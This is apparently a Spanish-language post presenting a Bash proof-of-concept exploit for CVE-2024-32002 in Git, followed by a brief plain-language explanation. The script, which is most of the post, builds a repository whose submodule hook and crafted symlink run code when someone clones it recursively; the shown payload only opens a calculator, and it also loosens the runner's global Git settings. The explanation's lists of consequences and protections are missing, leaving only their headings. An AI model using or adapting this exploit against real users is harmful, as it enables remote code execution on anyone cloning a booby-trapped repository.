
CVE-2024-32002 es una vulnerabilidad grave en Git que permite a un atacante ejecutar código arbitrario de forma remota (RCE) cuando un usuario realiza un git clone.
Script Bash:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main
# Define tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Make hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Local testing (not needed for GitHub)
git clone --recursive captain hooked
Explicación en lenguaje sencillo:
Este script Bash crea un repositorio Git malicioso que explota una vulnerabilidad (CVE-2024-32002) para ejecutar código malicioso cuando alguien clona el repositorio.
Aquí tienes un desglose de lo que hace el script:
Cuando alguien clona el repositorio "captain", el script malicioso se ejecutará en su ordenador, lo que podría tener consecuencias perjudiciales como:
Para protegerte de este tipo de ataques:
Siguiendo estas precauciones, puedes reducir significativamente el riesgo de ser víctima de ataques similares.